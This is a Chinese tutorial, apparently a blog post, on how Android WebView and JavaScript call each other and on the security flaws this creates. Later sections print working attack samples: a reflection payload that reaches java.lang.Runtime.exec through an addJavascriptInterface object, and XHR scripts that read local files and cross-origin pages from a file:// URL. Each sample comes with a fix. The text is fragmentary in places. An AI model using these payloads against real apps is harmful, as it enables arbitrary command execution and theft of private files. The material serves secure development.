WebView广泛应用于各种App中,通过引入WebUI的方法加速APP的开发。这篇文章主要介绍WebView与JS交互的几种方式以及可能存在的漏洞情况。
主要有两种方式:
// 文本名:javascript <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Carson_Ho</title> // JS代码 <script> // Android需要调用的方法 function callJS(){ alert("Android调用了JS的callJS方法"); } </script> </head> </html>
button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // 通过Handler发送消息 mWebView.post(new Runnable() { @Override public void run() { // 注意调用的JS方法名要对应上 // 调用javascript的callJS()方法 mWebView.loadUrl("javascript:callJS()"); } }); } }); // 由于设置了弹窗检验调用结果,所以需要支持js对话框 // webview只是载体,内容的渲染需要使用webviewChromClient类去实现 // 通过设置WebChromeClient对象处理JavaScript的对话框 //设置响应js 的Alert()函数 mWebView.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsAlert(WebView view, String url, String message, final JsResult result) { AlertDialog.Builder b = new AlertDialog.Builder(MainActivity.this); b.setTitle("Alert"); b.setMessage(message); b.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }); b.setCancelable(false); b.create().show(); return true; } });
JS代码必须在 onPageFinished()
之后调用。
// 只需要将第一种方法的loadUrl()换成下面该方法即可 mWebView.evaluateJavascript("javascript:callJS()", new ValueCallback<String>() { @Override public void onReceiveValue(String value) { //此处为 js 返回的结果 } }); }
对比
开发中多使用evaluateJavascript()
这里有三种方法:
// 继承自Object类 public class AndroidtoJs extends Object { // 定义JS需要调用的方法 // 被JS调用的方法必须加入@JavascriptInterface注解 @JavascriptInterface public void hello(String msg) { System.out.println("JS调用了Android的hello方法"); } }
<html> <head> <meta charset="utf-8"> <title>Carson</title> <script> function callAndroid(){ // 由于对象映射,所以调用test对象等于调用Android映射的对象 test.hello("js调用了android中的hello方法"); } </script> </head> <body> //点击按钮则调用callAndroid函数 <button type="button" id="button1" "callAndroid()"></button> </body> </html>
public class MainActivity extends AppCompatActivity { WebView mWebView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mWebView = (WebView) findViewById(R.id.webview); WebSettings webSettings = mWebView.getSettings(); // 设置与Js交互的权限 webSettings.setJavaScriptEnabled(true); // 通过addJavascriptInterface()将Java对象映射到JS对象 //参数1:Javascript对象名 //参数2:Java对象名 mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象 // 加载JS代码 // 格式规定为:file:///android_asset/文件名.html mWebView.loadUrl("file:///android_asset/javascript.html");
用 shouldOverrideUrlLoading()
方法拦截特定协议的url跳转,解析协议并调用相应的方法
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Carson_Ho</title> <script> function callAndroid(){ /*约定的url协议为:js://webview?arg1=111&arg2=222*/ document.location = "js://webview?arg1=111&arg2=222"; } </script> </head> <!-- 点击按钮则调用callAndroid()方法 --> <body> <button type="button" id="button1" "callAndroid()">点击调用Android代码</button> </body> </html>
mWebView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { // 步骤2:根据协议的参数,判断是否是所需要的url // 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数) //假定传入进来的 url = "js://webview?arg1=111&arg2=222"(同时也是约定好的需要拦截的) Uri uri = Uri.parse(url); // 如果url的协议 = 预先约定的 js 协议 // 就解析往下解析参数 if ( uri.getScheme().equals("js")) { // 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议 // 所以拦截url,下面JS开始调用Android需要的方法 if (uri.getAuthority().equals("webview")) { // 步骤3: // 执行JS所需要调用的逻辑 System.out.println("js调用了Android的方法"); // 可以在协议上带有参数并传递到Android上 HashMap<String, String> params = new HashMap<>(); Set<String> collection = uri.getQueryParameterNames(); } return true; } return super.shouldOverrideUrlLoading(view, url); } } );
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Carson_Ho</title> <script> function clickprompt(){ // 调用prompt() var result=prompt("js://demo?arg1=111&arg2=222"); alert("demo " + result); } </script> </head> <!-- 点击按钮则调用clickprompt() --> <body> <button type="button" id="button1" "clickprompt()">点击调用Android代码</button> </body> </html>
mWebView.setWebChromeClient(new WebChromeClient() { // 拦截输入框(原理同方式2) // 参数message:代表promt()的内容(不是url) // 参数result:代表输入框的返回值 @Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { // 根据协议的参数,判断是否是所需要的url(原理同方式2) // 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数) //假定传入进来的 url = "js://webview?arg1=111&arg2=222"(同时也是约定好的需要拦截的) Uri uri = Uri.parse(message); // 如果url的协议 = 预先约定的 js 协议 // 就解析往下解析参数 if ( uri.getScheme().equals("js")) { // 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议 // 所以拦截url,下面JS开始调用Android需要的方法 if (uri.getAuthority().equals("webview")) { // // 执行JS所需要调用的逻辑 System.out.println("js调用了Android的方法"); // 可以在协议上带有参数并传递到Android上 HashMap<String, String> params = new HashMap<>(); Set<String> collection = uri.getQueryParameterNames(); //参数result:代表消息框的返回值(输入值) result.confirm("js调用了Android的方法成功啦"); } return true; } return super.onJsPrompt(view, url, message, defaultValue, result); } // 通过alert()和confirm()拦截的原理相同,此处不作过多讲述 // 拦截JS的警告框 @Override public boolean onJsAlert(WebView view, String url, String message, JsResult result) { return super.onJsAlert(view, url, message, result); } // 拦截JS的确认框 @Override public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { return super.onJsConfirm(view, url, message, result); } } );
WebViewJavascriptBridge是WebView和Js交互通信的桥梁,它是实现java和js的互相调用的桥梁。替代了WebView的自带的JavascriptInterface的接口,使得开发者更方便的让js和native灵活交互,使我们的开发更加灵活和安全.
WebViewJavascriptBridge 在Android与IOS下均有对应的实现,一个demo见如下链接: https://www.jianshu.com/p/e37ccf32cb5b
我们的js拿到了这个对象,就可以调用这个对象中的许多方法,包括系统类 java.lang.Runtime
类,从而进行任意代码执行。
如以下的payload:
function execute(cmdArgs) { // 步骤1:遍历 window 对象 // 目的是为了找到包含 getClass ()的对象 // 因为Android映射的JS对象也在window中,所以肯定会遍历到 for (var obj in window) { if ("getClass" in window[obj]) { // 步骤2:利用反射调用forName()得到Runtime类对象 alert(obj); return window[obj].getClass().forName("java.lang.Runtime") // 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); // 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。 // 如执行完访问文件的命令之后,就可以得到文件名的信息了。 } } }
prompt()
的方式进行修
addJavascriptInterface
方法,维护一个对象映射关系的Map,将需要添加的JS街口放到这个Map中 javascript:(function JsAddJavascriptInterface_(){ // window.jsInterface 表示在window上声明了一个Js对象 // jsInterface = 注册的对象名 // 它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2) // 如果有返回值,就添加上return if (typeof(window.jsInterface)!='undefined') { console.log('window.jsInterface_js_interface_name is exist!!');} else { window.jsInterface = { // 声明方法形式:方法名: function(参数) onButtonClick:function(arg0) { // prompt()返回约定的字符串 // 该字符串可自己定义 // 包含特定的标识符MyApp和 JSON 字符串(方法名,参数,对象名等) return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]})); }, onImageClick:function(arg0,arg1,arg2) { return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]})); }, }; } } )() // 当JS调用 onButtonClick() 或 onImageClick() 时,就会回调到Android中的 onJsPrompt () // 我们解析出方法名,参数,对象名 // 再通过反射机制调用Java对象的方法
onLoadResource(); doUpdateVisitedHistory(); onPageStarted(); onPageFinished(); onReceivedTitle(); onProgressChanged();
getClass() hashCode() notify() notifyAl() equals() toString() wait()
WebView默认开启密码保存功能 :
mWebView.setSavePassword(true)`
关闭密码保存提醒
WebSettings.setSavePassword(false)
先看Android里的 WebViewActivity.java
:
public class WebViewActivity extends Activity { private WebView webView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_webview); webView = (WebView) findViewById(R.id.webView); //webView.getSettings().setAllowFileAccess(false); (1) //webView.getSettings().setAllowFileAccessFromFileURLs(true); (2) //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3) Intent i = getIntent(); String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html webView.loadUrl(url); } } /**Mainifest.xml**/ // 将该 WebViewActivity 在Mainifest.xml设置exported属性 // 表示:当前Activity是否可以被另一个Application的组件启动 android:exported="true"
即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,从而带来数据泄露威胁
具体:当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),其他 APP 通过使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity 并加载恶意url。
下面我们着重分析WebView中getSettings类的方法对 WebView 安全性的影响:
// 设置是否允许 WebView 使用 File 协议 webView.getSettings().setAllowFileAccess(true); // 默认设置为true,即允许在 File 域下执行任意 JavaScript 代码
使用 file 域加载的 js代码能够使用进行 同源策略跨域访问 ,从而导致隐私信息泄露
如果不允许使用 file 协议,则不会存在上述的威胁;
webView.getSettings().setAllowFileAccess(true);
但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件
setAllowFileAccess(false);
setAllowFileAccess(true); // 禁止 file 协议加载 JavaScript if (url.startsWith("file://") { setJavaScriptEnabled(false); } else { setJavaScriptEnabled(true); }
// 设置是否允许通过 file url 加载的 Js代码读取其他的本地文件 webView.getSettings().setAllowFileAccessFromFileURLs(true); // 在Android 4.1前默认允许 // 在Android 4.1后默认禁止
当 AllowFileAccessFromFileURLs()
设置为 true 时,攻击者的JS代码为:
<script> function loadXMLDoc() { var arm = "file:///etc/hosts"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script> // 通过该代码可成功读取 /etc/hosts 的内容数据
解决方案:设置 setAllowFileAccessFromFileURLs(false);
当设置成为 false 时,上述JS的攻击代码执行会导致错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件。
// 设置是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // 在Android 4.1前默认允许(setAllowFileAccessFromFileURLs()不起作用) // 在Android 4.1后默认禁止
当 AllowFileAccessFromFileURLs()
被设置成true时,攻击者的JS代码是:
// 通过该代码可成功读取 http://www.so.com 的内容 <script> function loadXMLDoc() { var arm = "http://www.so.com"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script>
解决方案:设置 setAllowUniversalAccessFromFileURLs(false);
// 设置是否允许 WebView 使用 JavaScript(默认是不允许) webView.getSettings().setJavaScriptEnabled(true); // 但很多应用(包括移动浏览器)为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置为true,不区别对待是非常危险的。
即使把 setAllowFileAccessFromFileURLs()
和 setAllowUniversalAccessFromFileURLs()
都设置为 false,通过 file URL 加载的 javascript 仍然有方法访问其他的本地文件: 符号链接跨源攻击
前提是允许 file URL 执行 javascript,即 webView.getSettings().setJavaScriptEnabled(true);
这一攻击能奏效的原因是: 通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件 。具体攻击步骤:
注:在该命令执行前 xx.html 是不存在的;执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上。
于是就可通过链接来访问 Chrome 的 Cookie
如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁。
// 禁用 file 协议; setAllowFileAccess(false); setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
// 需要使用 file 协议 setAllowFileAccess(true); setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false); // 禁止 file 协议加载 JavaScript if (url.startsWith("file://") { setJavaScriptEnabled(false); } else { setJavaScriptEnabled(true); }